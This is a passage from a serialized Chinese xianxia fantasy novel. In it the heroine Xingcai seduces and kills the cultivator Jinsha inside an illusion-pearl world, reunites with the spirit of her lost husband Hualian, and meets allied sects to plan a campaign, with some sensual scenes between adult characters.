荇菜的敏感处顿时感受到一团炙热，忍不住缩了下身体，却被金沙贴得更紧。炙热如铁的感觉越发明显，而且大到不可思议。
蜃珠？你搞什么！
她发愣得这会，身体被金沙一转，已经坐在大马金刀般的金沙腿上。那感觉越发明显起来，粗重的喘息声已经近在耳旁。
荇菜的心一下子绷紧，抬头就迎到金沙低头亲来的厚唇。
“唔……”
荇菜屈身一躬，缩在金沙的腰腹，“等等……”双手抵住他，却宛如蚍蜉撼树。
话没说完，双手被金沙单手一抓一按，按下的地方血经跳动，裹涨的感觉委实震撼到久经人事的荇菜。
不对，幻境怎么可能这么细致？究竟哪里出问题？
荇菜的脑海里进行激烈的争斗，一闭眼一睁，神牵之术游走法体。蜃珠汪洋里的金沙已经金刚盘坐，而荇菜的法体就缠绕在金沙的身体之上，姿势和幻境里如出一辙。
原来是这样，现世的感觉和幻境重叠，造成真实的感官。
蜃珠，果然不负幻境之王的名声。
幻境里的小木榻上，荇菜缩手，却被金沙按住后强按上去。
金沙满头额汗，颤动的肌肉说明忍得异常辛苦。但是，他没有强行再做什么，只是低声哀求：“婆娘，动啊，快……”
荇菜咬牙，曲颈吻上那肉感丰厚的唇，气息比想象中得干净，但更炙热，低语道：“当家的，今日来小日子，不方便。”
“嗯？”金沙眨眼再眨眼，低头来句，“那你不早说，我去铸剑。”热浪来得快、下得也快。
他起身将荇菜捞起放在木床，又抓被子把人裹紧，“你好好在床上休息，我去忙了。”
“可是，当家的……”
金沙低头看向她看的地方，又瞥见她面红耳热的撇脸，嘿嘿一笑揉了把身体那处。
“不碍事，千年童子功，功在一春宵。哈哈哈……”说完，又摸了摸后脑勺，“童子功？我不是有婆娘吗？”
他的大眼瞬间盯向荇菜，脑海里翻涌起什么，试图要挣脱出来。
“……”荇菜顿时从被子里脱身，扑抱住金沙，狠狠地亲在他的脸颊，“当家的，小日子里肚子凉，你得留下帮我暖暖。”
“这……”金沙回过神，发憷地看向荇菜，“婆娘，你又不让我睡，睡一床，我不是活受罪吗？”
“……”荇菜要被这个大楞柱子搞晕过去，使出越发纯熟的看家本领，“不嘛，我冷啊，若小日子里养不好身体，你想要的宝贝可不一定能来哦。”
“要！必须养好。”金沙立时坚定态度。他把荇菜重新塞回被子，紧跟着躺上去。小小的木榻发出咯吱声，好似下沉了一段。
他一只手被荇菜当枕头，一只手轻轻地放在荇菜的肚腹，不重但是很暖和。
“婆娘，快睡吧。明日得早起，铸剑的活不能停。”
“嗯。”荇菜面对这具抵得上自己三个半的健硕身躯，躬身缩进他的怀，默念几句催眠术，迫使自己真正睡过去。
片刻后，金沙听到微沉的呼吸声，拉起唇角一笑，竟也睡着了。
半夜时分，金沙豁然睁开眼睛，目色从狠厉变为柔和。他侧头看向怀里的女人，被枕着的手回勾，撸掉女子遮脸的鬓发，露出那一如既往令人心动的容颜。
“娘子？真是你。道祖没有骗我，他说我还能再见你。娘子……”
粗壮的男人轻轻地侧身，把怀里的女人更紧得揽进怀，宛如失而复得的宝贝。
天亮后，铺子里再次响起打铁声，叮叮当当，不绝于耳。
荇菜揉捏肩头，感觉那地方可能有乌青。
后半夜，她被金沙揽得太紧，也不敢挣得太过，一直到天亮又把自己催眠过去。
重复昨日的工作，荇菜端盘肘子进铺子，却发现金钱那个小女孩在帮金沙添柴，不解道：“金钱，你这么早啊？”
“师娘，早。”金钱叉腰笑着，眼睛一转就盯在酱香肘子上，“好香啊。这些人就是信赖师父，喜欢给师父上贡
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。他们明明什么都看不到，却还是做这些事。”
“什么事？上贡？”荇菜走到铺子门口，果真发现有人把篮子里蔬果、肉类放在铺口设的横桌上，再拱手一拜，念念有词：
“铁神大人保佑我家今年健健康康，无病无灾。”
“铁神大人保佑我姑娘觅得如意郎君。”
“……”
金钱一下子跳出门外，顿时激起四邻的惊呼声。
“金钱，你又跑进去打扰铁神大人。”
“金钱，你不回家看着你娘，你这样瞎跑会遭报应的。”
……
金钱被说得眼里又怒又委屈：“你们懂什么？你们看不到师父是你们没有缘分。我看得到他。你们可听好了，铁神大人是我的师父，师父……”
打铁的金沙虎目一挣，一阵金锐的灵力外放，直接掀翻供桌上的物品。四邻吓呆了，纷纷跪下祈求铁神大人息怒。
金钱得意洋洋地笑起来：“以后，你们可要好好孝敬我金钱大人，不准再欺负我和我娘。”
她喊完话，又进铁匠铺，扑抱住荇菜，又朝打铁的金沙笑，“师娘，师父真好。等我长大了，给师父建一个巨大的庙，早晚三炷香供着师父。”
敲打的金沙忽然来句：“你确实建个昆道宗，早晚三炷香烦我要秘诀。”声音微顿，金沙忽然直视荇菜，而荇菜也提起心回看金沙。
这一刻，铁匠铺里依旧回荡金沙没有间断的打铁声，但他的眼睛里蕴起一丝锐气，将整个氛围笼得剑拔弩张，浮荡不安的情绪。
荇菜在暗中蓄力，准备一击即中。
没有金沙的修为也罢，但是决不能让他离开蜃珠。
“咕噜噜……”金钱抚摸肚子，舔了舔唇看向荇菜背后的肘子，“师娘，我可以吃吗？”
“嗯。”荇菜颔首，让金钱去吃肘子，又与金沙对视。
然而，金沙已经低头锤铁，专注无二。
荇菜不知道这个瞬间他到底有没有从蜃珠的幻境里恢复自我意识，但是，戏还需要继续唱下去。
“当家的，别打了……”
金钱忽然抓住荇菜的手，啃着肘子道：“师娘，让师父打吧。不然，师父定不下心。”
荇菜愣了下，金钱这话好奇怪，不由细细地打量她。
金钱露出大大的笑脸，继续吃起肘子：“我还要留一块给娘亲带回去。师娘，可以吗？”
“当然。”荇菜颔首，又道，“我随你一起回家看看你母亲。”
金钱微顿，颔首道好。
片刻后，金沙依旧专注于铸剑，而荇菜提上食盒同金钱回她家。
一方残破的小院内，荇菜来回走两遍，并没有看到金钱的母亲。她走到院中，面对亭立的金钱，不解道：“你……究竟是谁？”
金钱露出一个温柔的笑脸，那种成熟的眼神不似她现在的年纪。
“我是谁不重要，但是你想要金沙的修为和元神，就不能激怒他。打造诛神剑是金沙的执念，所以，一旦你感觉危险，就让他去铸剑。”
“你……”
“这里是昆山国的安都。你知道安都的起源吗？”金钱不等荇菜回答，又恍然一笑，“你兴许不知道。安都起源于野山脚下得一座风炉，就是金沙在的打铁铺。
打铁铺的炉火经年不灭，饱受战争的百姓迁徙到此处，围在炉子外定居。
金沙的体型和他的炉火给这些百姓极大的安全感，炉子外面的地方渐成村落。后来，这里陆续成了大镇，再是大城。百姓就把打铁铺子里的男人称为铁神大人，常常上贡求愿。
后来，金沙觉得烦，就设下结界，不让普通人窥见铺子。但是，他的打铁声非常特别，依旧会被有道心的人听见。安都有一传闻，但凡能在夜间听见打铁声，说明此人有道基。
昆道宗择选传承弟子的标准之一是会把人送到安都的铁铺外站一夜。若弟子能听到打铁声，说明与昆道宗真正的传承有缘。”
荇菜细细回想脑海里的知识，只去过昆山国的紫芳城，知道昆山女子喜欢打金花，还真不知道昆道宗收亲传弟子有这种条件。
她依旧是那个问题：“你究竟是谁？”
金钱想说自己是谁，却又说不出口，转言道：“道祖黄椒在千年前划定十国，昆山国皇室把这地方定为安都。安都的打铁铺已经没有打铁的身影，却依旧是神般存在的地方。若你有机会去安都，就会发现那里的炉火至今不灭，常有人前去添薪上贡。”
“你说这些究竟是什么意思？”荇菜换个问法。
“诛神剑就是历经千年打造成型。安都人的信仰是铁神，也就是金沙。金沙打造的诛神剑蕴藏凡人的信仰之力。信仰之力是诛神的利器。
你若不急于一时，可以期待第二把诛神魂剑成型。
你已经是化神后期，即将入合体期凝聚法相。若你有困境，不放细听金沙的铸剑之声，于你有所帮助。若你的法相有一把合适的魂系武器，将是你未来作战的绝佳杀器。”金钱朝愣住的荇菜暖暖一笑，宛若灵光般消散：娘子，“……不要忘记你的目的啊。”
117. 第 117 章
荇菜穿过小巷，重新回到铁匠铺门口。此时，整座安都城又没有行人，只有专注的打铁声一下下地回荡在耳旁。
她如常地跨入门槛，低首看向手里的托盘，轻笑了声。木盘被放在铁桌，人坐在条凳上静静地观看金沙铸剑。
“当当……当当……”
金沙举起锤子，重重地连砸两下，再翻面敲打，大颗的汗水溅落，劈在剑胚，还没等汽化已被铁锤的力量反震而起，又被金沙四周形成的气罩震散、虚浮、汽化，短暂地形成水雾。
荇菜非常仔细地观看这套连贯的动作，宛如在看一架永不停下运转的机器。本是枯燥单调的重复运动，却让她再次入了迷。
金沙的捶打拥有生命，肌肉、灵力与释放的力量、乃至每一个细节产生的韵，形成他完整的道。而他正处于这样的道境，以道意融入锻造，造出一把拥有他自身信念的诛神剑。
持久弥新，久而有得。
汽化的水雾看似消散，却被金沙的气罩形成一股股细小的游龙，经铁锤的力量重重地敲击在剑胚，形成一道完美的力量闭环。
这让荇菜对他的道产生震撼，越发仔细地观看金沙铸剑得每一个过程、细节。
不知过去多久，荇菜产生一种自己仿佛是金沙手底的剑胚，正被不间断却有力地锤炼。
被捶，痛吗？好痛。
但是，剔除杂质后形成的精骨剑型仿佛是经历一次次的浴火重生。
荇菜想起阳梧山上的大火，凤凰族的涅槃焰、金乌羽族的魂焰，白尾青鸾的丹火，三焰席卷阳梧山，灼烧得她肉身不存，残余一滴被黑羽精魄和蜃珠护下的精血和元神，还被困在黑漆漆的壳子。
只是被困吗？没有。
生命在漆黑的壳子里不断被锤炼，滋生全新的属于半妖的血肉生命。
“嗬……”荇菜发出沉重地呼吸声，人一下子软倒在条凳下。
金沙瞬间放下锤子，大步一跨，操手抱起荇菜：“婆娘，你……入道境了？”
“什么？”荇菜媚眼朦胧地看向金沙，不解道，“道境？不可能。”天地同欢道需要爱，我对这个世界哪来爱？
“你和我的‘持之道’产生共鸣，入了我的道境。”金沙大笑了声，忽然道，“婆娘，天黑了，我们去孕养宝贝吧。铸剑是慢功夫，须得千锤百炼。咱们的宝贝也得千锤百回方能被孕养出来。”
荇菜软得不行，兜手勾住他的脖子，脑子里还在回味“入我的道境、产生共鸣”几个字。
一直到她被金沙放在小小的木床，听着咯吱声才回过神，恍然道：“我无需去爱，只要感受身体带来的共鸣，引领他们入我的道境。”
没错！在花涟之前，所有的合欢都不曾带着爱。我不爱项檀、惊蛰、鲛童……但是，我就是能用《玉石还阳功》突破修为的境界。
因为那时，大多时间身体被功法牵着走，产生得是身体与功法之间的共鸣，合欢的共鸣。
所以，天地同欢的道境，《玉石还阳功》入合体境的桎梏，不需要“爱”，只要于合欢的人和《玉石还阳功》产生共鸣。
“当家的，铸剑台上需听你的，到了这，你得听我的，你可依我？”荇菜捂住金沙亲来的唇，幽幽含笑道。
金沙微愣，直直地点头：“听婆娘的，你说什么姿势舒服就用什么。”
荇菜无奈地扯起抹笑，往侧旁一缩，命令道：“躺下去。”
“哎。”金沙一瞬间震碎衣衫，赤身躺下，比前膛还高的地方宛如一柄锋锐圆剑，“婆娘喜欢这样就这样，反正我力量大。”
荇菜哼笑了声，并拢剑指，直刺他的丹府位置。
金沙闷哼了声，涨得越发痛起来：“婆娘，你闹啥，挠痒痒呢？”
荇菜轻蹙长眉，细思：童子功法一类的功夫必有罩门，不在丹府，说明金沙入神合体的元婴已经不在丹田。
侧身一跨，躲开金沙横来的大掌。
荇菜横在他的腰上，笑谈间举起拳，宛若金沙锤铁，狠狠地砸在他的心口。
“嗯哼……”金沙闷哼，蹙紧刀眉去抓荇菜的手，“婆娘，你是不是找错位置？”
荇菜了然，心脏是金沙的罩门。
她低首安抚，辗转间以膝盖抵住他，引金沙发出喘息声。
“当家的，我可要用力了。”
“来吧，婆娘。”金沙绷紧身段，唇齿更是颤若风中，而荇菜以《玉石还阳功》第四章天地灵法之法，引金沙法体为灵泉。膝盖用力之下，海量的金系灵力从金沙体内游走而出。
蜃珠汪洋里的荇菜以神牵之术为引，释放周身感官，吸收金沙外释的灵力。
与此同时，荇菜右手凝聚法力，长月剑忽然入手，随时可以切入金沙的心脏。
“婆娘，我憋不住了。”金沙忽然瞪眼，猛坐起身把荇菜按坐下去。
荇菜咬牙不哼，侧头咬在他的下颚，直切入骨：“死人，疼。”
“唔……舒服。”金沙在迷离中掐紧纤腰，提摆下直抒腹臆。
荇菜不知过去多久，直至一股热浪随流水冲击而来，让她的修为直破化神后期，倏忽入合体境。
刹那的浮光掠影，荇菜看到一尊猩红戴血色面罩的纤细法相。
随身体上的用力，法相豁然睁眼，露出金红深紫猝火的阴戾血眸。
“修罗”两字，直入荇菜的脑海。
她的法相正在成型，且是女体修罗杀神。杀神临面，直将荇菜的理智冲昏，震荡地昏过去。
早间，荇菜捂着额头，侧脸看向空荡荡的门口，耳闻敲打铸剑之声，一时不知道该哭还是该笑。
与道共鸣，就是天地同欢道的关键，不用谈所谓的爱。只要“感受”，并与道起舞。我召唤道，道呼应我的回应。但是，我依旧可以凌驾于我的道。
合欢可同欢，亦可以行杀伐之事。这就是《玉石还阳功》教会主人的道，以合欢之术行修罗之道，以此屹立不败之地。
“师父，我走不出真正的天地同欢道，但是我可以走修罗合欢道。”
荇菜凝神静坐，盘坐在木床。
元神出走，在蜃珠的汪洋之中，回归法体。
荇菜的元神归体后，观察与金沙现在的状态。现实里的感官牵动幻境的变幻，须得谨慎以待。
汪洋里，金沙已经主动揽住荇菜的玉臂。
荇菜宛若欢喜佛的女菩萨一样盘坐在金沙法体上，周遭的水流随荇菜功法的运转，形成一道只进不出的环流状态。
水可以在荇菜身后离去，融入汪洋，也携带走金沙七成的灵力。余下三成的灵力直入荇菜的法体，夯实她合体境的修为。
“灵泉之法已成，接下来难道真如金钱说所，等金沙铸成诛神剑再杀他？”荇菜又怕迟则生变，一时有些拿不定主意。
元神重新进入金沙的识海幻境。
——
时间随金沙铸剑的进度慢慢地向前推动，一直到剑胚已经完全具备剑形，而金沙也已经瘦成两个荇菜的大小。
“婆娘，明日这把剑就能成型。”金沙的眼神落在荇菜平坦的小腹，忽然道，“为什么还没动静，若有宝贝，以宝贝之血祭剑开刃，必能成功。”
“……”荇菜诧异道：“你疯了？”
“疯了？我没有。正是因为诛神剑没有开刃，十方寺一战，无法诛杀道祖黄椒，由着他控制我们。
是我错了，若是诛神剑开锋，密勒根本毁不掉诛神剑，昆山一战，我不会败。”金沙的目光豁然圆睁，狠瞪向肃容的荇菜，“是你……都是因为你……”
“当家的，你在胡说什么？”荇菜在掌心凝聚力量，主动走上前，而金沙看着她慢慢地后退，心里生出一丝无法道明的恐惧。
诛神剑即将成型得这刻带给金沙的冲击是巨大的。
因为，当年的安都城里，金沙进行过这样的抉择，拿什么给诛神剑开锋？
恰逢昆道宗宗主金钱来拜访师尊，金沙就想到用徒儿的性命尝试给诛神剑开锋，最终被体内的裂魂阵法禁锢，而让金钱脱身离去。
这是金沙深藏的秘密和对金钱的悔恨。也是这方幻境里，金沙可以容忍金钱出现的原因。
此刻，金沙再次面临被诛神剑开锋的抉择，酝酿疯狂的眸子又狠又怂地盯向荇菜：“婆娘……”
“当家的，定是你最近铸剑累了，需要好好休息一下。明日，我亲自帮你开锋，可好？”
荇菜露出惑人的笑容，柔软灵活的十指宛如毒蛇般盘缠上金沙微颤的臂膀。这双手是金沙不敢碰触的存在，因为她们可以让他快乐，忘记铸剑的执念。
“当家的，随我去休息吧。”荇菜仰首面对他，依依袅袅地轻笑着。
“婆娘……”金沙已经习惯她的存在，伴随灵活柔软的馨香身体，再次迷失在幻境的当下。
他在小木床深深地睡着了，宛如一个害怕什么的儿童，在睡梦里蜷缩起来。
荇菜轻轻地拂过金沙的脸颊，挪开鬓角的两缕龙须，低首在他的耳旁呼唤：“夫君……夫君……”
金沙慢慢地睁开眼睛，直直地看向荇菜。这双金沙的眼睛里没有金系的锐芒，只有柔软的笑意。
“你怎么发现的？”花涟沙哑地问。
“第一晚，你睁开眼睛，我就察觉金沙的气息变了。后来，金钱出现，又不断地引导我，再有那目标的说法……种种迹象表明，只有你才会这样不顾一切地顺着我。”荇菜弯身贴在花涟的胸膛，“你能告诉我，现在是怎么回事吗？”
花涟试图坐起来，却很难控制被金沙吸收过元神的法体。
“娘子，我想再看一次莲花峰上的梅花树，可以吗？”
荇菜直起头，含笑望着他，潋滟的紫眸浮起水光，耳畔浮动“娘子”的称呼。
幻境扑叠，火红的三角梅树下，一袭醉人白衣浅浅转过身，含笑侧面：“娘子……”
“花涟！”荇菜果真见到他，飞扑过去，却从花涟的身体里穿过去，摸到是金沙坚硬的下颌，“你的神识为什么会在他
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这？”
花涟轻轻地摇头，又仰望一树盛放的红花：“道祖读取我的记忆，但是没有融合我。他说，未来有一天，我还会再见到你。他果然没有骗我。”
为此，我也要为他做一些事。
荇菜不明白黄椒究竟想做什么，也就问出口。
“因为他和你一样，想离开这方囚笼。”花涟隔空抚摸荇菜的脸颊，忽然道，“金沙醒了。娘子，快去拿诛神剑。”
小木床上，睁开眼的金沙直面荇菜惊讶却美丽的面容，顿时把荇菜提抱起来：“婆娘，诛神剑，我们再努力努力……”
荇菜嗯哼了声，被他强按坐下去，耳闻金沙的“婆娘，你好……棒啊……”
旋手一摄，铺外的诛神剑入手，凝聚毕生的力量狠狠地戳向金沙的心口。
“你不是要诛神剑开锋吗？你的性命就是诛神剑最好的开锋祭品。
啊……”
金沙的面容从荡漾转为震惊，急速地喘息和濒死的感觉让他眼前发飘，现实和幻境重叠、交替。
蜃珠的汪洋下，神牵之术引动的荇菜将长月剑浮空而起，顺《玉石还阳功》吸引的水流之力狠狠地插入金沙的心口。这个瞬间，蜃珠的力量一起随长月剑贯穿金沙强壮的法体，洞出一道力量外释的通道。
金沙睁大眼，幻境与现实的交织，让他面对两个荇菜。
幻境里，他看到猩红的荇菜手持诛神剑。现世的汪洋里，冰凉的水带走他的体温，目视荇菜狠厉淬毒的眼神，喃喃喊：“婆……娘……你……是你……”
“是我。分不清现实和幻境吗？呵呵呵……”
荇菜在水中翻身一脚，踹在金沙的下颚，拉开两人的距离。
与此同时，猩红的修罗法相手握泛着金光的诛神剑，狠狠地攻击向彻底清醒后回神的金沙。
金沙低首看向胸口，正是道祖黄椒的功德长月剑。这把剑让他的心神再次遭受剧烈的震动。
愤怒得他狂呼出声，颤抖双手却坚定地拔出长月剑，狠狠地砍向手持诛神剑袭来的修罗法相。
荇菜目睹灵力不支的金沙在重伤下依旧能和修罗法相战个平手，瞬移到金沙身后，面对他无法完全形成的金色金刚法相，毫不客气地祭出万音铃。
结合诸多法器的万音铃已经今非昔比，变大的万音铃旋转着击向金沙的法相。
金沙的法相如镜破碎，法体被修罗合欢法相以诛神剑斩入元神。
“啊……”金沙痛苦地面目扭曲，几不成人。
无论是金沙的夺来的元神还是本身的法体都遭受极大的重创，再有法相破碎，蜃珠依旧以《还阳功》的灵泉之法架起的通道吸收金沙的灵力。几重攻击下，金沙直直地跪在汪洋里：“水，有问题。怎么……会这样……”
金沙的法体宛如漏了气的气球，不断向汪洋散溢金色的能量。
“元神，元神……我的元神……别走……别走，我的元神……”
紧握的长月剑震动，金沙的法体浮起一层金红的光芒，悬浮出一道裂魂破境阵法。
阵法一旦离体，金沙的法体也宛如玉般崩碎，散向周围，化成点点的灵性生物。临死的金沙目视拥有猩红修罗法相的荇菜，恍然吐出十字箴言：
“诛天列阵，道德功成。碎魂。
碎魂……这是阴谋，道祖的阴谋……啊……”
荇菜被一阵金光之力推卷出去。修罗法相避其锋芒，闪过一阵耀着金光的天女神相。
她没得及看清楚一体双面的法相，就直接昏过去。在她昏迷的期间，蜃珠也在这场战斗里获得足够改变自身的力量。
金沙法体散溢的灵光变成活生生的浮游生物，游走在蜃珠的汪洋，时而围绕在漂浮的荇菜法体周围。它们像是一个聚光灯一样包围荇菜，簇拥她，宛若她的孩子。
——
金沙法体消散得那刻，高欧国的密勒尊者在宫殿里睁开眸光，身披黑色的斗篷走出白色圆锥塔状的宫殿，目视遥远的东方。
瑶姬上前行礼：“尊者，出什么事吗？”
密勒头也不回道：“以后这里就送给你们二人。本尊不会再回来，你们好自为之。”说完，他一步跨出，消失在苍茫天际。
西双儿来寻瑶姬，发现她站在圆阳台上发呆，好奇地拥住她：“姐姐在想什么？”
“密勒尊者走了。他说不会再回来，你说他是不是知道自己的命数？”
西双儿猜疑道：“姐姐在为谁担心？禾师姐还是金莲师妹？”
“她早已不是金莲。何况，她也根本不是金莲。”瑶姬没有察觉西双儿的神情变化。
西双儿掰过瑶姬的身体，嘟囔道：“荇师姐确实了得，所以我们担心什么？过好自己的日子就好，对吧？”
瑶姬还是有些低落，忽然道：“双儿，我们回青虞宗帮禾师姐吧。”
“你是不是想见九霄师叔？”
“不是……”
“你就是忘不了他。你就是……”
……
118. 第 118 章
蜃珠里的荇菜从冰湖爬上岸，仰躺在冰湖上目视蜃珠的灰蒙天空，无声地叹息了声：“花涟……我又亲手毁你一次，对吗？”
在蜃珠的汪洋里，荇菜被金沙临死爆发的力量冲撞地昏过去。迷糊中，她再次看到那巨大的金色裂魂破境阵旋飞而出。
这一次，阵法携带十字箴言缠绕荇菜后消失。
而黄椒的元神去了哪？此时的荇菜也不知道。
在水中迷糊的时候，荇菜好像看到飘飘摇摇的三角梅花树，像在水浪里浮动的虚影。
那道清隽的身影摇摇晃晃地立在树下，渐渐清晰后笑望来。
“娘子……”
“花涟，我究竟要怎么样才能复活你？”
花涟缓缓地笑了，如沐春风。
“娘子，我不过一缕神识，本无来生，何德何能劳你如此记挂。我也终究只是道祖的一部分。道祖留我，是为帮你。他在解体时将这缕神识祭附在金沙的元神。
因他知道，四尊最难对付得是皎月，余下三尊最凶猛得是金沙。你一入金沙识海，我就感应到你。”
荇菜恍然：“布衣荆钗是你给我的提示吗？”
花涟的手伸向荇菜的脸颊，隔空轻抚：“娘子受苦了。”
荇菜悲伤地看向他，张口想说什么却什么都说不出口。问道幻境里，黄椒幻化的花涟三次以身挡劫，说：
不论是谁占据金莲的身体，花涟都会因为责任而娶。这是真得吗？
荇菜想问，又觉得没必要知道答案。
花涟：“娘子想去遥远的故乡，就不要放弃自己。坚定信念走下去，定能再见他们。”
荇菜重重地点头，试图重新振作。
“我想知道黄椒是怎么让人死而复生？”
她顺花涟注视的方向，转向自己的背后：巨大的金色阵盘旋绕在天地同心命契之上，宛若一座笼盖识海的擎天巨伞。
“秘密在阵法。这座阵法竟然凌驾于同天地签订的同心命契。”荇菜震惊地注视阵法，再回头寻找花涟，虚影已经消失。她在识海里奔走，试图寻找花涟的存在……所寻无果。
“难道真得无法再复活你吗？”
此刻，爬上冰湖的荇菜盖住眼睛，自感修为已经到达合体境后期。
这也只是金沙一小半的力量，大半的力量被蜃珠的汪洋吸走。这次蜃珠出力颇大，属实是三七分成，荇菜三，蜃珠七。
荇菜自忖：合体境后期依旧无法与泽萃抗衡，必须寻找外援。
传闻三足鼎立的势力最难对付。如今已经没有金沙，余下密勒和泽萃，最好是联合泽萃诛杀密勒。但是，泽萃性情不定，卸磨杀驴之法比谁都熟练。
所以，最好的办法是联合密勒杀泽萃。
思绪一定，荇菜晃见蜃珠的天穹闪过光点。
她猛坐起身，仰首盯向蜃珠浮白的天穹：“刚刚……一闪而过得是什么？”旋诀取出蜃珠的核心，仔细地观看蜃珠的表面，密密麻麻宛若斑点。
遮住照入蜃珠的光。霎时间，荇菜的周围变得昏暗，而蜃珠的空间内云雾浮散，露出斑驳的星光，宛若星空穹顶。
“蜃珠……有了星星？”荇菜诧异地跳起来，仰望朦胧的夜空。
她飞升上空，天穹依旧灰蒙蒙，也确实斑斑驳驳，与从前很不一样。
荇菜不明白这种变化的意义。
又重回冰湖下的汪洋，宛若萤火一样的浮游生物慢慢地齐聚，围绕在荇菜的周围起舞。
“这是……原始的……生命？天。金沙死在蜃珠，散溢的功德、法体，造就生命？那黄椒三分之一的元神究竟去哪？”
荇菜不明白蜃珠的变化，重新回冰湖上方。
她离开蜃珠，回到藤楼，来回走动两圈，依旧不明白蜃珠这种变化的意义。
若真要说出个一二三，大概是蜃珠满足某些条件，开始演化最初的生命？
“生命！对，蜃珠拥有生命。”荇菜的脑海里瞬间通达一道线，“道祖天尊黄椒被不知名的力量囚禁在这方时空，出于某个契机，演化星球生命。
但是，星球孕养的天道又困住黄椒自身，遂而以分身布阵，妄图突破天道桎梏。结果，分身形成的破天阵法被天道之子破坏，继而身陨道消？
不，他不可能死。碎魂散神，不过是他新的脱身之计。
道祖黄椒拥有创世造人之能，怎么可能轻易赴死，秘密在他的阵法当中。”
荇菜再次凝神盘坐，参详天地命契上方属于金沙的裂魂破境阵。这道阵法与长月释放的阵法相比，更为复杂，且多了更多金色线条。
四象五行，阵柱为结。阵法在这，黄椒的元神究竟去哪里？
而且，这次不用羽族精魄就获取阵法，这是前所未有的事。金沙的法体也不曾留下，反倒是散为灵性的浮游生命。
荇菜以神识为网，猛扑入金色大阵。
霎时间，各种虚影交织呈现，一个个都是黄椒，却又千人千面，全不是黄椒，吓得荇菜当场退出金色大阵。
“元神……黄椒的元神融入阵法当中，处处是他又处处不是他。”
惊吓过后，荇菜再入扑入裂魂破境阵法，面对一个个黄椒的虚影，豁然明白一件事：阵法可以将藕人之身变成真正的肉身，自然也可以让神识经历岁月后聚拢出天地所生的元神。
没有所谓“分身需要得到黄椒的元神才是人”这种说法。
元神乃是灵魂。
黄椒的元神又怎么可能是分身的元神？只有分身自己意识到自己是个真正的人，并且确信自己是人，拥有信仰这个世界真实存在的认知，承认自己是人，才有可能生出属于自己的天地元神。
这就是“我即是我，我存在即合理”的说法。
项檀至死都没有明白分身的事；
惊蛰临死前悟到大佛境，却没有确信自己无愧天地。
黑羽意识到自己是分身，就已经失去自我。鲛童更是迷失自己。
花涟抱着必死的决心渡劫……余下道生花、九阳、长月、长恨……认识到自己是黄椒的神识分身后无一不否定自己是人这个事实。
这样的生命又怎么可能激发裂魂破境阵生出天地
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元神呢？
“原来这就是裂魂破境阵法关于元神的秘密。裂魂的终极奥义是赋予阵法道境，让分身……不，他们各自为人成人。”
荇菜明白后凝聚起一道合欢信：
“欧阳燕歌，交给你办的事如何了？另外，本尊已经知道裂魂阵法关于元神的秘密。若他们需要元神，可到三生岛外海与本尊相见。”
合欢信化光而去。
荇菜收敛关于黄椒的设想，重新凝神盘坐。
这次，她决心重新解读《玉石还阳功》。道祖黄椒有创世造人之能，蜃珠有孕养星光、生命的现象，裂魂阵法的元神秘密……这些给荇菜全新的灵感。
道祖黄椒可以创世造人，《玉石还阳功》拥有以月华、天地灵石之力，自然之力……倒转阴阳、灵塑神人之能。
若黄椒可以做到神乎其神的事，拥有不断让宿主复活的《玉石还阳功》同样可以复生别人。
一直以来，荇菜都在走自己的道。但是，因《还阳功》过于歹毒，总也不愿意承认此道，试图走别人走过的道：半月尊者的天地同欢道，九阳剑尊的纯阳剑道，黄椒的裂魂阵法道……通通都走错了。
与金沙战斗，荇菜明白一个道理：本以《还阳术》入合欢道，行修罗合欢之事。既以《玉石还阳功》复生，也可以用此功法复生他人的生命。
——
在荇菜闭关参悟的时间，天生大陆发生翻天覆地的变化。
十国因三生道的入侵，势力格局大变样。
东南面以山泽太女崔天行为首的东方联盟，高欧、三首结成的西联盟。羽民国自凤武在莲花峰一战伤上加伤后，宣称妖族不再干预凡人、修士的争斗。
三大势力鼎足而立，一时谁也动不了谁。
至于八宗，在羽化生的力量下重新整合、并且签订盟约：修真力量不可干预凡人生灭，乃至家国变动。
天净宗月净尘、青虞宗禾诗逸、合欢宗清欢、昆道宗金钱、天羽宗凤武、十方寺火云子等共同签订协议，而逍遥宗再次选择归隐。
天龙道改名为世净宗，依旧妄图成为引领天下宗门的力量。
但是，三生道退走海外，八宗重聚力量，各宗掌门都不愿意再听羽化生的领导。没有道祖黄椒的世净宗，与普通宗门无二，也代表，道祖天尊统治世界的时代退出天生大陆的舞台。
**
荇菜循着羽信的指示离开蛛皇林，飞越过海峡，落在一处云烟雾饶的小岛。
环顾岛上的布局，正是天净宗惯用的迷踪阵。
七绕八绕地进入礁石林，穿过一阵迷雾，见到严阵以待的几人。
欧阳燕歌展颜，躬身行礼：“妖尊。”
荇菜颔首，目光扫过面色不自然的长恨、眼神期待的九阳剑尊，再有眼熟又意外的朱红颖，和神情兴奋的小弟子青柑。
她诧异道：“这是什么意思？八宗汇集此处，打算开个会呢？”
青柑行礼：“师叔，弟子代表清欢宗主前来，传达一句话：若是莲花峰峰主愿意，合欢宗愿倾尽全力迎合欢妖尊回宗。”
119. 第 119 章
荇菜忍不住笑出声，想起清欢宗主、贺喜等人的性情。
莲花峰上，魔主迎亲那日，这些人没少出力阻拦，虽不拼命却也尽力。
她对青柑道：“你能从天龙道一战里活下来，本尊很高兴。劳你回去告诉他们，多谢好意。泽萃旦死，本尊就会回合欢宗。”
青柑行礼，深深地看眼荇菜后走去一边。
朱红颖越过九阳剑尊近前，取出一枚萤石对荇菜从头到尾一通照。
“这是萤影石，可以录入人影。凤尊需要知道女凰殿下安然与否，用萤影石记录下来带回去给他。”
她把萤影石收入怀，继续道，“若女凰殿下平安，凤尊便能安心休养。另外，若女凰殿下一声令下，妖族愿主动联合六宗，齐聚力量攻打三生道。”
“多谢凤尊好意。莲花峰一事后，本尊与他还是不见为好。”荇菜转手勾绘灵力，临摹出三生道周围的岛链地形，“魔主泽萃因昆山一战伤重闭关。此时，正是大陆宗门团结起来攻打此地的良机。
但是，三生道的十府城只是如大陆的普通城镇一样，城里生活些流放海外的普通人留下的子嗣家眷。
城中虽有邪修、恶妖偶尔滋事，但十府城主一直镇守各处，有一片宁静生活。
在传信给你们前，本尊打探过十府城主，他们起战的心并不强烈。
新上位的龙黄主和圭酉倒是好战的人，但是，两人斗不过其余八府。
至于孚龙战将，在道生花死后，道璇玑无心战事，余下还有两人听命魔主泽萃，镇守魔宫，其余人已经散去各处。
此时攻打三生道极易，但要撇开十府城攻打魔宫或魔主泽萃又极不容易。”
欧阳燕歌思绪极快，接道：“妖尊担心十府城主被逼入绝境后以城中人的性命威胁大陆宗门。”
